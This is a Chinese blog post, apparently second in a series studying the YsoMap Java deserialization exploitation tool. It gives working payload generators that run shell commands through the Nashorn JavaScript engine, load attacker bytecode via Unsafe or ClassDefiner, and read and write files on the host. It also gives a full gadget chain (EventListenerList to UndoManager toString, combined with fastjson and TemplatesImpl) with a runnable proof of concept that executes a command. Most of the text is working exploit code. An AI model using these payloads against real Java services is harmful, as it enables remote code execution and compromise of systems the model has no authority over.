YSOMAP取经之路-2
2023-11-23 14:18:18

上一节简单介绍了YsoMap的使用,之后来学习里面的利用链和使用技巧

0x01 Js脚本执行

通过jdk.nashorn.api.scripting.NashornScriptEngine#eval执行

1
2
ScriptEngineManager manager = new ScriptEngineManager();
manager.getEngineByName("JavaScript").eval("evil js");

也可以外面套一层ElProcesser来执行El表达式

1
2
3
4
5
6
7
public static String getPayload(String data) {
return "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"" + data + "\")";
}

new ELProcessor().eval(getPayload("evil js"));
  • JS执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
public static String makeJsRuntimeExecPayload(String cmd) {
return "var strs=new Array(3);" +
"if(java.io.File.separator.equals('/')){" +
"strs[0]='/bin/bash';" +
"strs[1]='-c';" +
"strs[2]='" + cmd + "';" +
"}else{" +
"strs[0]='cmd';" +
"strs[1]='/C';" +
"strs[2]='" + cmd + "';" +
"}" +
"java.lang.Runtime.getRuntime().exec(strs);";
}

windows上的文件分隔符为反斜杠\,Linux上的分隔符为正斜杠/,等效于如下代码

1
2
3
4
5
6
7
8
9
10
String[] strs = new String[3];
strs[2] = "calc"; // cmd
if (java.io.File.separator.equals("/")) {
strs[0] = "/bin/bash";
strs[1] = "-c";
} else {
strs[0] = "cmd";
strs[1] = "/c";
}
Runtime.getRuntime().exec(strs);
  • JS加载字节码

sun.reflect.ClassDefiner#defineClass

实际上也是用Unsafe去加载类,不过委派了一个新的类加载器

image-20230728092959193

new DelegatingClassLoader直接调用父类的构造方法,即ClassLoader的构造方法,指定了该类加载器的父类加载器parent。

1
2
3
4
5
6
7
8
9
public static String makeJsDefinedClass1(String classname, String encoded) {
return "var data = '" + encoded + "';" +
"var bytes = java.util.Base64.getDecoder().decode(data);" +
"var cls = java.lang.Class.forName('sun.reflect.ClassDefiner');" +
"var method = cls.getDeclaredMethods()[0];" +
"method.setAccessible(true);" +
"var evil = method.invoke(cls, '" + classname + "', bytes, 0, bytes.length, cls.getClassLoader());" +
"evil.newInstance();";
}

实际利用起来偶尔会出现NoClassDefFoundError的异常,因此不如直接使用Unsafe去加载类,直接指定类加载器,而非再构造一个新的类加载器

sun.nio.ch.Util有一个类成员是unsafe,该类的静态代码块会对其初始化unsafe = Unsafe.getUnsafe();,同时又提供了一个静态的包作用域方法unsafe来获取unsafe成员

我们直接传入当前线程的类加载器

1
2
3
4
5
6
7
8
9
10
11
public static String makeJsDefinedClass2(String classname, String encoded) {
return "var data = '" + encoded + "';" +
"var bytes = java.util.Base64.getDecoder().decode(data);" +
"var cls = java.lang.Class.forName('sun.nio.ch.Util');" +
"var method = cls.getDeclaredMethod('unsafe');" +
"method.setAccessible(true);" +
"var unsafe = method.invoke(cls);" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();" +
"var evil = unsafe.defineClass('" + classname + "', bytes, 0, bytes.length, classLoader, null);" +
"evil.newInstance();";
}

ClassNotFoundException:待加载的类不在classpath下,或一个Classloader尝试加载另一个Classload已经加载过的类

NoClassDefFoundError:待加载的类能在classpath下找到,但该类的依赖找不到,造成LinkageError,一般在隐式加载中抛出异常(调用方法或访问类成员)

  • JS加载本地Jar包

URLClassLoader + file协议

1
2
3
4
5
6
7
public static String makeJsLoadJar(String filepath, String classname){
return "var args = new Array(1);" +
"args[0] = new java.net.URL('file://"+filepath+"');" +
"var classloader = new java.net.URLClassLoader(args);" +
"var cls = classloader.loadClass('"+classname+"');" +
"cls.newInstance();";
}
  • JS写文件

com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename

居然是JDK自带的,这么简洁的写文件

1
2
3
4
5
public static String makeJsFileWrite(String filepath, String encoded) {
return "var data = '" + encoded + "';" +
"var bytes = java.util.Base64.getDecoder().decode(data);" +
"com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename('" + filepath + "',bytes);";
}

YsoMap里没有JS读文件,可能是考虑到不好回显吧

同样是这个JavaUtils带的方法getBytesFromFile,试了一下在JS中抛出异常也不能带出来

1
2
3
4
5
public static String makeJsFileRead(String filepath) {
return "var bytes = com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromFile('"+ filepath + "');" +
"print(new java.lang.String(bytes, 'UTF-8'));" +
"throw new Error('echo out')";
}

除非外面有一个变量去接受返回值,那么在js最后一行写上要返回的内容即可(不要加return)

1
2
Object res = manager.getEngineByName("JavaScript").eval("'echo out';");
System.out.println(res);

0x02 readObject触发toString

BadAttributeValueExpException烂大街了

javax.swing.event.EventListenerList#readObject

image-20230728152059264

先后两次执行了readObject

这里的l需要是EventListener的实现类,listenerTypeOrNull为字符串类型

获取listenerTypeOrNull类名对应的Class后,和EventListener一起传入add

image-20230728152240659

判断l是否为t的实例对象,若不是则抛出异常,进行对象拼接,这里就能够触发l的toString

这里的类名t随便找一个就行,如java.lang.InternalError

但实例对象要求是EventListener的实现类,要么该实现类toString可利用,要么该实现类继续进行类成员对象拼接字符串,而且对类成员的类型要足够宽松

javax.swing.undo.UndoManager#toString刚好满足要求

image-20230728153042151

虽然这里的limitindexOfNextAdd都是int类型,但这继续调用了父类的toString

javax.swing.undo.CompoundEdit#toString

image-20230728153236188

其中inProgress为布尔类型,edits是一个Vector

神奇的是这个类已经指定了Vector<UndoableEdit>

但通过反射仍能加入一个非UndoableEdit的普通对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object getValue(Object obj, String name) throws Exception {
Field field = getField(obj.getClass(), name);
return field.get(obj);
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object readObject2toString(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector)getValue(manager, "edits");
vector.add(obj);
setValue(list, "listenerList", new Object[]{InternalError.class, manager});
return list;
}

可以配合fastjson原生反序列化打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void ser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}

public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "p4d0rn");

JSONObject jsonObject = new JSONObject();
jsonObject.put("test", templates);
ser(readObject2toString(jsonObject));
}